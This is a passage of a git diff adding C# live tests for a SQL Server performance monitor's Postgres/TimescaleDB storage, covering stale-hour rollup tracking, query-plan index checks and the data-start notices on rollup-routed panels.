+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ComposeStampLiveSupport.ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            var start = hourNow.AddHours(-28).AddMinutes(17);
+            var end = hourNow.AddMinutes(-40);
+            var baseline = hourNow.AddHours(-2);
+            Assert.Equal(baseline, await ComposeStampLiveSupport.StampThroughAsync(connection, start, end, ct));
+            Assert.Equal(string.Empty, await StaleListAsync(connection, ct));
+            await AssertSameAsOracleAsync(connection, start, end, baseline, null, "before any late write", ct);
+
+            /* 1. A replayed row into a built hour (server 1, 10 hours ago). */
+            var replayHour = hourNow.AddHours(-10);
+            await ComposeStampLiveSupport.InsertRowAsync(connection, 1, replayHour.AddMinutes(55), 9_000_001, ct);
+            Assert.Equal(Pair(1, replayHour), await StaleListAsync(connection, ct));
+            Assert.NotEqual(
+                await ComposeStampLiveSupport.CountAsync(connection, $"SELECT sum(execution_count) FROM collect.query_store_interval_wide WHERE server_id = 1 AND collection_time >= TIMESTAMP '{ComposeStampLiveSupport.At(replayHour)}' AND collection_time < TIMESTAMP '{ComposeStampLiveSupport.At(replayHour.AddHours(1))}'", ct),
+                await ComposeStampLiveSupport.CountAsync(connection, $"SELECT sum(ec_sum) FROM collect.query_store_compose_stamp WHERE server_id = 1 AND collection_time >= TIMESTAMP '{ComposeStampLiveSupport.At(replayHour)}' AND collection_time < TIMESTAMP '{ComposeStampLiveSupport.At(replayHour.AddHours(1))}'", ct));
+
+            /* The lookup stops at the stale hour, for the fleet and for a scope that includes server 1, and passes it for a scope
+               of the other two servers (the stale pair is not theirs). */
+            Assert.Equal(replayHour, await ComposeStampLiveSupport.StampThroughAsync(connection, start, end, ct));
+            Assert.Equal(baseline, await StampThroughForAsync(connection, new[] { 2, 3 }, start, end, ct));
+            Assert.Equal(replayHour, await StampThroughForAsync(connection, new[] { 1 }, start, end, ct));
+
+            /* The pair turned stale after the lookup: the statement still has the baseline StampThrough, and its stale arm answers. */
+            await AssertSameAsOracleAsync(connection, start, end, baseline, null, "replayed row, stale arm", ct);
+            await AssertSameAsOracleAsync(connection, start, end, baseline, new[] { "srv1" }, "replayed row, stale arm, server 1", ct);
+            await AssertSameAsOracleAsync(connection, start, end, replayHour, null, "replayed row, runner's StampThrough", ct);
+
+            /* The rebuild makes it current. */
+            var rebuilt = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, ComposeStampLiveSupport.RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(0, rebuilt.Failed);
+            Assert.Equal(1, rebuilt.BuiltStale);
+            Assert.Equal(string.Empty, await StaleListAsync(connection, ct));
+            Assert.Equal(baseline, await ComposeStampLiveSupport.StampThroughAsync(connection, start, end, ct));
+            await AssertSameAsOracleAsync(connection, start, end, baseline, null, "replayed row, after the rebuild", ct);
+
+            /* 2. A row moved out of a built hour into the current hour (the open interval's refresh): the OLD hour is marked. */
+            var moveHour = hourNow.AddHours(-15);
+            await ComposeStampLiveSupport.ExecAsync(connection, $@"
+UPDATE collect.query_store_interval_wide SET collection_time = TIMESTAMP '{ComposeStampLiveSupport.At(hourNow.AddMinutes(5))}'
+WHERE ctid = (SELECT ctid FROM collect.query_store_interval_wide WHERE server_id = 2 AND collection_time >= TIMESTAMP '{ComposeStampLiveSupport.At(moveHour)}'
+                AND collection_time < TIMESTAMP '{ComposeStampLiveSupport.At(moveHour.AddHours(1))}' ORDER BY collection_time, query_id, plan_id LIMIT 1)", ct);
+            Assert.Equal(Pair(2, moveHour), await StaleListAsync(connection, ct));
+            Assert.Equal(moveHour, await ComposeStampLiveSupport.StampThroughAsync(connection, start, end, ct));
+            await AssertSameAsOracleAsync(connection, start, end, baseline, null, "moved-out row, stale arm", ct);
+            await AssertSameAsOracleAsync(connection, start, end, baseline, new[] { "srv2" }, "moved-out row, stale arm, server 2", ct);
+
+            rebuilt = await QueryStoreComposeStamp.RunTickAsync(source, DateTime.UtcNow, ComposeStampLiveSupport.RetentionDays, NullLogger.Instance, ct);
+            Assert.Equal(0, rebuilt.Failed);
+            Assert.Equal(1, rebuilt.BuiltStale);
+            Assert.Equal(string.Empty, await StaleListAsync(connection, ct));
+            Assert.Equal(baseline, await ComposeStampLiveSupport.StampThroughAsync(connection, start, end, ct));
+            await AssertSameAsOracleAsync(connection, start, end, baseline, null, "moved-out row, after the rebuild", ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await ComposeStampLiveSupport.CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    private static Task<DateTime?> StampThroughForAsync(NpgsqlConnection connection, int[] serverIds, DateTime start, DateTime end, CancellationToken ct) =>
+        DarlingWebEndpoints.ResolveQueryStoreStampThroughAsync(connection, serverIds, start, end, QueryStoreComposeStamp.RungVersion, ct);
+}
diff --git a/Darling/Darling.Tests/ComposeQueryStoreStampPlanLiveTests.cs b/Darling/Darling.Tests/ComposeQueryStoreStampPlanLiveTests.cs
new file mode 100644
index 0000000000..9e000ddf68
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeQueryStoreStampPlanLiveTests.cs
@@ -0,0 +1,185 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+public sealed class ComposeQueryStoreStampPlanLiveTests
+{
+    internal sealed record PlanNode(string Type, string? Relation, string? Index, long Loops, double Rows, string Conditions, int Depth, string Path);
+
+    /// <summary>Compiles a panel on the stamp route and runs it under EXPLAIN (ANALYZE, FORMAT JSON); returns every plan node, flattened.</summary>
+    internal static async Task<(string Sql, IReadOnlyList<PlanNode> Nodes)> ExplainAsync(
+        NpgsqlConnection connection, string planJson, ComposeRunContext context, CancellationToken ct)
+    {
+        var plan = QueryStoreRankedHarness.Parse(planJson);
+        var (compiled, error) = QueryStoreRankedHarness.Product(plan, context);
+        Assert.True(error is null, error);
+        await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) " + compiled!.Sql, connection) { CommandTimeout = 120 };
+        foreach (var parameter in compiled.Parameters)
+        {
+            command.Parameters.Add(parameter);
+        }
+
+        var text = Convert.ToString(await command.ExecuteScalarAsync(ct), CultureInfo.InvariantCulture)!;
+        var root = (JsonArray)JsonNode.Parse(text)!;
+        var nodes = new List<PlanNode>();
+        Walk(root[0]!["Plan"]!, 0, string.Empty, nodes);
+        return (compiled.Sql, nodes);
+    }
+
+    private static void Walk(JsonNode node, int depth, string parentPath, List<PlanNode> into)
+    {
+        var type = node["Node Type"]!.GetValue<string>();
+        var relation = node["Relation Name"]?.GetValue<string>();
+        var path = parentPath + "/" + type + (relation is null ? string.Empty : "(" + relation + ")");
+        var conditions = string.Join(" ;; ", new[] { "Index Cond", "Filter", "Recheck Cond", "Join Filter", "Hash Cond", "Merge Cond" }
+            .Select(k => node[k]?.GetValue<string>() is { } v ? k + ": " + v : null).Where(x => x is not null));
+        into.Add(new PlanNode(type, relation, node["Index Name"]?.GetValue<string>(), node["Actual Loops"]?.GetValue<long>() ?? 1,
+            node["Actual Rows"]?.GetValue<double>() ?? 0, conditions, depth, path));
+        if (node["Plans"] is JsonArray children)
+        {
+            foreach (var child in children)
+            {
+                Walk(child!, depth + 1, path, into);
+            }
+        }
+    }
+
+    internal static string Dump(IReadOnlyList<PlanNode> nodes)
+    {
+        var text = new StringBuilder();
+        foreach (var n in nodes)
+        {
+            text.Append(new string(' ', n.Depth * 2)).Append(n.Type).Append(' ').Append(n.Relation).Append(' ').Append(n.Index)
+                .Append(" loops=").Append(n.Loops).Append(" rows=").Append(n.Rows).Append(" | ").AppendLine(n.Conditions);
+        }
+
+        return text.ToString();
+    }
+
+    private const string Panel = "{\"source\":\"query_store_stats\",\"ratio\":\"qs_avg_duration_us\",\"topN\":4,\"groupBy\":[\"module_name\"],\"timeBucket\":\"hour\",\"includeOther\":true,\"viz\":\"line\"}";
+
+    private static bool IsWide(PlanNode n) => n.Relation is not null && n.Relation.StartsWith("query_store_interval_wide", StringComparison.Ordinal);
+
+    private static string Literal(DateTime value) => "'" + value.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture) + "'";
+
+    /// <summary>The wide-table scans of the TAIL arm: the ones that carry the lower bound at the stamp-through instant.</summary>
+    private static List<PlanNode> TailScans(IReadOnlyList<PlanNode> nodes, DateTime through) =>
+        nodes.Where(n => IsWide(n) && n.Conditions.Contains("collection_time >= " + Literal(through), StringComparison.Ordinal)).ToList();
+
+    [Fact]
+    public async Task TheCompiledRoute_ReadsTheRollupThroughItsIndex_TheTailIsBoundedBelowByStampThrough_AndTheStaleArmReadsNothingWhenNoPairIsStale()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ComposeStampLiveSupport.BaseConnectionString), ComposeStampLiveSupport.SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ComposeStampLiveSupport.ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            await ComposeStampLiveSupport.ExecAsync(connection, "ANALYZE collect.query_store_interval_wide; ANALYZE collect.query_store_compose_stamp; ANALYZE collect.query_store_compose_stamp_built; ANALYZE collect.query_store_compose_stamp_hours; ANALYZE collect.servers", ct);
+            Assert.True(await ComposeStampLiveSupport.CountAsync(connection, "SELECT count(*) FROM collect.query_store_compose_stamp_hours", ct) >= 10, "the seed has 10 or more built hours");
+            var start = hourNow.AddHours(-28).AddMinutes(17);
+            var end = hourNow.AddMinutes(-40);
+            var through = await ComposeStampLiveSupport.StampThroughAsync(connection, start, end, ct);
+            Assert.Equal(hourNow.AddHours(-2), through);
+            var tailRows = await ComposeStampLiveSupport.CountAsync(connection,
+                $"SELECT count(*) FROM collect.query_store_interval_wide WHERE collection_time >= TIMESTAMP '{ComposeStampLiveSupport.At(through!.Value)}' AND collection_time <= TIMESTAMP '{ComposeStampLiveSupport.At(end)}'", ct);
+            Assert.True(tailRows > 100);
+
+            foreach (var scope in new IReadOnlyList<string>?[] { null, new[] { "srv1" } })
+            {
+                var label = scope is null ? "fleet" : "srv1";
+                var context = QueryStoreRankedHarness.WideContext(start, end, scope) with { QueryStoreStampThrough = through };
+
+                /* The natural plan: no stale pair, so the stale arm's wide scan never starts (zero loops), and the tail scans the wide table
+                   from the stamp-through instant only. */
+                var (sql, nodes) = await ExplainAsync(connection, Panel, context, ct);
+                Assert.Contains("query_store_compose_stamp", sql, StringComparison.Ordinal);
+                var tail = TailScans(nodes, through.Value);
+                Assert.True(tail.Count > 0, $"{label}: no wide-table scan carries the stamp-through lower bound\n{Dump(nodes)}");
+                var wideScans = nodes.Where(n => IsWide(n) && n.Type.Contains("Scan", StringComparison.Ordinal)).ToList();
+                var stale = wideScans.Except(tail).ToList();
+                Assert.True(stale.Count > 0, $"{label}: the stale arm's wide scan is missing from the plan\n{Dump(nodes)}");
+                Assert.True(stale.All(n => n.Loops == 0), $"{label}: the stale arm read the wide table although no pair is stale\n{Dump(nodes)}");
+                Assert.True(tail.All(n => n.Loops == 1));
+                Assert.Equal(scope is null ? tailRows : await ComposeStampLiveSupport.CountAsync(connection,
+                    $"SELECT count(*) FROM collect.query_store_interval_wide WHERE server_id = 1 AND collection_time >= TIMESTAMP '{ComposeStampLiveSupport.At(through.Value)}' AND collection_time <= TIMESTAMP '{ComposeStampLiveSupport.At(end)}'", ct),
+                    (long)tail.Sum(n => n.Rows));
+
+                /* The rollup arm: with a sequential scan ruled out (the seed's rollup is a few thousand rows, where a seq scan is the cheaper
+                   plan), its predicates are served by the (collection_time, server_id) index, with both bounds in the index condition. */
+                await ComposeStampLiveSupport.ExecAsync(connection, "SET enable_seqscan = off", ct);
+                try
+                {
+                    var (_, forced) = await ExplainAsync(connection, Panel, context, ct);
+                    var rollup = forced.Where(n => n.Index == "ix_query_store_compose_stamp_time_server").ToList();
+                    Assert.True(rollup.Count > 0, $"{label}: the rollup arm does not read through ix_query_store_compose_stamp_time_server\n{Dump(forced)}");
+                    Assert.True(rollup.Any(n => n.Conditions.Contains("collection_time >= " + Literal(start.AddSeconds(0)), StringComparison.Ordinal)
+                        && n.Conditions.Contains("collection_time < " + Literal(through.Value), StringComparison.Ordinal)), $"{label}: the index condition lacks a bound\n{Dump(forced)}");
+                }
+                finally
+                {
+                    await ComposeStampLiveSupport.ExecAsync(connection, "RESET enable_seqscan", ct);
+                }
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await ComposeStampLiveSupport.CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task TheStaleArm_ProbesTheWideTableOncePerStalePairInScope_NotOncePerPair()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ComposeStampLiveSupport.BaseConnectionString), ComposeStampLiveSupport.SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection, source, hourNow) = await ComposeStampLiveSupport.ArrangeAsync(ct);
+        var bodySucceeded = false;
+        try
+        {
+            /* Two pairs turn stale after the lookup: server 1 ten hours ago, server 3 fifteen hours ago. */
+            await ComposeStampLiveSupport.InsertRowAsync(connection, 1, hourNow.AddHours(-10).AddMinutes(55), 9_000_001, ct);
+            await ComposeStampLiveSupport.InsertRowAsync(connection, 3, hourNow.AddHours(-15).AddMinutes(55), 9_000_002, ct);
+            await ComposeStampLiveSupport.ExecAsync(connection, "ANALYZE collect.query_store_interval_wide; ANALYZE collect.query_store_compose_stamp; ANALYZE collect.query_store_compose_stamp_built; ANALYZE collect.servers", ct);
+            var start = hourNow.AddHours(-28).AddMinutes(17);
+            var end = hourNow.AddMinutes(-40);
+            var through = hourNow.AddHours(-2);
+
+            foreach (var (scope, expectedProbes) in new[] { ((IReadOnlyList<string>?)null, 2L), (new[] { "srv1" }, 1L), (new[] { "srv2" }, 0L) })
+            {
+                var context = QueryStoreRankedHarness.WideContext(start, end, scope) with { QueryStoreStampThrough = through };
+                var (_, nodes) = await ExplainAsync(connection, Panel, context, ct);
+                var stale = nodes.Where(n => IsWide(n) && n.Type.Contains("Scan", StringComparison.Ordinal)).Except(TailScans(nodes, through)).ToList();
+                Assert.True(stale.Count > 0, Dump(nodes));
+                Assert.True(stale.All(n => n.Loops == expectedProbes),
+                    $"scope {(scope is null ? "fleet" : scope[0])}: expected {expectedProbes} probe(s) of the wide table, saw {string.Join(",", stale.Select(n => n.Loops))}\n{Dump(nodes)}");
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await ComposeStampLiveSupport.CleanupAsync(scratch, connection, source, bodySucceeded);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs b/Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs
index 84e6be1f8d..b168c4cf18 100644
--- a/Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs
+++ b/Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs
@@ -241,9 +241,10 @@ public async Task OldestProducibleRow_IsReturnedByTheFloorBoundedMcpTopRead_AndC
         top.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(WindowStart, DateTimeKind.Unspecified) });
         top.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(WindowEnd, DateTimeKind.Unspecified) });
         top.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 50 });
+        top.Parameters.Add(PerformanceMonitor.Darling.Storage.DatabaseFilter.All.Parameter());  /* #5245: the database list binds one text[] */
         top.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = DBNull.Value });
         top.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = DBNull.Value });
-        top.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = DBNull.Value });
+        top.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(50) });  /* #5313: the round's candidate limit, bound last */
         await using var topReader = await top.ExecuteReaderAsync(ct);
         var queryIdColumn = topReader.GetOrdinal("query_id");
         var executionsColumn = topReader.GetOrdinal("total_executions");
@@ -345,7 +346,7 @@ QueryStoreCollector.Row Row(
             };
 
         /* An anchor interval 45 days before windowStart (mirrors QueryStoreIntervalWideGridLiveTests'
-           SeedGridAsync): pushes this server's table floor comfortably past clause 3's IntervalSpanMargin
+           SeedGridAsync): pushes this server's table floor comfortably past clause 3's PurgeEdgeMargin
            check, so windowStart itself can sit exactly on the seeded span without the gate refusing on table
            floor alone. Outside the compared window, so it never appears in either side's rows. */
         var anchor = windowStart.AddDays(-45);
diff --git a/Darling/Darling.Tests/ComposeRollupDataFloorLiveTests.cs b/Darling/Darling.Tests/ComposeRollupDataFloorLiveTests.cs
new file mode 100644
index 0000000000..20dba71d07
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeRollupDataFloorLiveTests.cs
@@ -0,0 +1,226 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A panel read from a rollup takes its start from the rollup it read, not from the raw table. Server B's rows
+/// were rolled up from 10 days back, and raw now keeps the last 3 days, as its retention leaves it. Server A's
+/// rollup reaches 20 days back, so the store as a whole covers a 14-day window and routes it to the hourly
+/// rollup. B's own hourly rows start 10 days back, so B's panel says so and names that start. The raw table's
+/// start, 3 days back, would be the wrong answer.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only
+   to CREATE and DROP its own database through ScratchPostgres, then works entirely inside it. */
+public sealed class ComposeRollupDataFloorLiveTests
+{
+    private const int OldServerId = -497201;
+    private const string OldServerName = "rollup-floor-old";
+    private const int NewServerId = -497202;
+    private const string NewServerName = "rollup-floor-new";
+    private const int StitchedDeepServerId = -497203;
+    private const string StitchedDeepServerName = "rollup-floor-stitched-deep";
+    private const int StitchedScopedServerId = -497204;
+    private const string StitchedScopedServerName = "rollup-floor-stitched-scoped";
+
+    [Fact]
+    public async Task AnHourlyRoutedPanel_TakesItsStartFromTheHourlyRollup_AgainstDevPostgres()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the rollup data-start test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The rollup data-start test needs TimescaleDB: the panel reads a continuous aggregate.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, OldServerId, OldServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, NewServerId, NewServerName, ct);
+
+        var today = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+        await InsertDailyAsync(connection, OldServerId, OldServerName, today.AddDays(-20), today.AddDays(-1), ct);
+        await InsertDailyAsync(connection, NewServerId, NewServerName, today.AddDays(-10), today.AddDays(-1), ct);
+
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+        foreach (var view in new[] { TimescaleSupport.QueryStatsHourlyView, TimescaleSupport.QueryStatsIntervalHourlyView })
+        {
+            await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+            refresh.Parameters.AddWithValue(today.AddDays(-21));
+            refresh.Parameters.AddWithValue(today.AddDays(1));
+            await refresh.ExecuteNonQueryAsync(ct);
+        }
+
+        /* Raw keeps the last 3 days, as its retention would leave it; the rollups keep everything they built. */
+        await using (var trim = new NpgsqlCommand("DELETE FROM collect.query_stats WHERE collection_time < $1", connection))
+        {
+            trim.Parameters.AddWithValue(today.AddDays(-3));
+            await trim.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var newServer = await RunAsync(dataSource, NewServerName, ct);
+        Assert.True(newServer.Error is null, $"compose run failed: {newServer.Error}");
+        var sql = (string)newServer.Payload!["sql"]!;
+        Assert.Contains("_hourly", sql, StringComparison.Ordinal);
+
+        var notice = newServer.Payload["notice"]?.GetValue<string>();
+        Assert.NotNull(notice);
+        Assert.StartsWith("partial window:", notice, StringComparison.Ordinal);
+        Assert.Contains(Minute(today.AddDays(-10).AddHours(10)) + " UTC", notice, StringComparison.Ordinal);
+        Assert.DoesNotContain(today.AddDays(-3).ToString("yyyy-MM-dd", CultureInfo.InvariantCulture), notice, StringComparison.Ordinal);
+
+        /* The old server's hourly rows cover the whole window: no notice. */
+        var oldServer = await RunAsync(dataSource, OldServerName, ct);
+        Assert.True(oldServer.Error is null, $"compose run failed: {oldServer.Error}");
+        Assert.Contains("_hourly", (string)oldServer.Payload!["sql"]!, StringComparison.Ordinal);
+        Assert.Null(oldServer.Payload["notice"]);
+    }
+
+    /// <summary>
+    /// A stitched read takes the successor rollup only from the stitch boundary up, so for a server the superseded
+    /// rollup holds nothing for, the panel's data starts at the boundary, whatever older buckets the successor holds
+    /// for it. The deep server's superseded hourly reaches back 20 days and the successor hourly was built from 8 days
+    /// back, so the first run measures the boundary at 8 days back and caches it. The scoped server's rows then arrive
+    /// after the superseded hourly was refreshed, and a wide refresh materializes the successor back past the
+    /// boundary: it holds buckets for the scoped server older than the window's start, none of which the stitched
+    /// read uses. The notice names the boundary, not the first of those buckets.
+    /// </summary>
+    [Fact]
+    public async Task AStitchedHourlyPanel_StartsAtTheStitchBoundary_WhenTheSuccessorWasMaterializedBackPastIt_AgainstDevPostgres()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the stitched rollup data-start test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The stitched rollup data-start test needs TimescaleDB: the panel reads continuous aggregates.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+
+        /* The scratch database's own scheduler stops before the ensure sweep creates its refresh policies: a policy
+           run would refresh the superseded hourly over the scoped server's rows, which this test keeps out of it. */
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, StitchedDeepServerId, StitchedDeepServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, StitchedScopedServerId, StitchedScopedServerName, ct);
+
+        var today = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+        await InsertDailyAsync(connection, StitchedDeepServerId, StitchedDeepServerName, today.AddDays(-20), today.AddDays(-1), ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        await RefreshAsync(connection, TimescaleSupport.QueryStatsHourlyView, today.AddDays(-21), today.AddDays(1), ct);
+        await RefreshAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, today.AddDays(-8), today.AddDays(1), ct);
+        var boundary = today.AddDays(-8).AddHours(10);
+
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        /* The first run measures the store's coverage and caches it per data source: the boundary is the successor's
+           first bucket, 8 days back. The deep server's superseded hourly covers the whole window, so it has no notice. */
+        var deep = await RunAsync(dataSource, StitchedDeepServerName, ct);
+        Assert.True(deep.Error is null, $"compose run failed: {deep.Error}");
+        Assert.Contains("UNION ALL", (string)deep.Payload!["sql"]!, StringComparison.Ordinal);
+        Assert.Null(deep.Payload["notice"]);
+
+        await InsertDailyAsync(connection, StitchedScopedServerId, StitchedScopedServerName, today.AddDays(-19), today.AddDays(-1), ct);
+        await RefreshAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, today.AddDays(-21), today.AddDays(1), ct);
+
+        Assert.Equal(0L, await CountAsync(connection, TimescaleSupport.QueryStatsHourlyView, StitchedScopedServerId, ct));
+        var olderBucket = today.AddDays(-19).AddHours(10);
+        Assert.Equal(olderBucket, await FirstBucketAsync(connection, TimescaleSupport.QueryStatsIntervalHourlyView, StitchedScopedServerId, ct));
+
+        var scoped = await RunAsync(dataSource, StitchedScopedServerName, ct);
+        Assert.True(scoped.Error is null, $"compose run failed: {scoped.Error}");
+        var sql = (string)scoped.Payload!["sql"]!;
+        Assert.Contains("UNION ALL", sql, StringComparison.Ordinal);
+        Assert.Contains("TIMESTAMP '" + boundary.ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture) + "'", sql, StringComparison.Ordinal);
+
+        var notice = scoped.Payload["notice"]?.GetValue<string>();
+        Assert.NotNull(notice);
+        Assert.StartsWith("partial window:", notice, StringComparison.Ordinal);
+        Assert.Contains(Minute(boundary) + " UTC", notice, StringComparison.Ordinal);
+        Assert.DoesNotContain(Minute(olderBucket), notice, StringComparison.Ordinal);
+    }
+
+    private static string Minute(DateTime utc) => utc.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture);
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, string view, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(to);
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<long> CountAsync(NpgsqlConnection connection, string view, int serverId, CancellationToken ct)
+    {
+        await using var count = new NpgsqlCommand($"SELECT count(*) FROM collect.{view} WHERE server_id = $1", connection);
+        count.Parameters.AddWithValue(serverId);
+        return (long)(await count.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task<DateTime> FirstBucketAsync(NpgsqlConnection connection, string view, int serverId, CancellationToken ct)
+    {
+        await using var first = new NpgsqlCommand($"SELECT min(bucket) FROM collect.{view} WHERE server_id = $1", connection);
+        first.Parameters.AddWithValue(serverId);
+        return (DateTime)(await first.ExecuteScalarAsync(ct))!;
+    }
+
+    private static Task<DarlingWebEndpoints.ComposeRunOutcome> RunAsync(NpgsqlDataSource dataSource, string server, CancellationToken ct)
+    {
+        var body = new JsonObject
+        {
+            ["panel"] = JsonNode.Parse(
+                "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"timeBucket\":\"day\",\"viz\":\"line\"}"),
+            ["server"] = server,
+            ["hours"] = 14 * 24,
+        };
+
+        return DarlingWebEndpoints.RunComposedPanelAsync(dataSource, body, ct);
+    }
+
+    /// <summary>One query_stats row a day at 10:05, from <paramref name="firstDay"/> to <paramref name="lastDay"/>.</summary>
+    private static async Task InsertDailyAsync(
+        NpgsqlConnection connection, int serverId, string serverName, DateTime firstDay, DateTime lastDay, CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+SELECT row_number() OVER (), d + interval '10 hours 5 minutes', $1, $2, 'FloorDb', 'HASHFLOOR', '0xFLOOR', 1000, 1000, 10, 300
+FROM generate_series($3::timestamp, $4::timestamp, interval '1 day') AS d", connection);
+        insert.Parameters.AddWithValue(serverId);
+        insert.Parameters.AddWithValue(serverName);
+        insert.Parameters.AddWithValue(firstDay);
+        insert.Parameters.AddWithValue(lastDay);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeServerScopeByIdTests.cs b/Darling/Darling.Tests/ComposeServerScopeByIdTests.cs
new file mode 100644
index 0000000000..803fa336ee
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeServerScopeByIdTests.cs
@@ -0,0 +1,539 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json.Nodes;
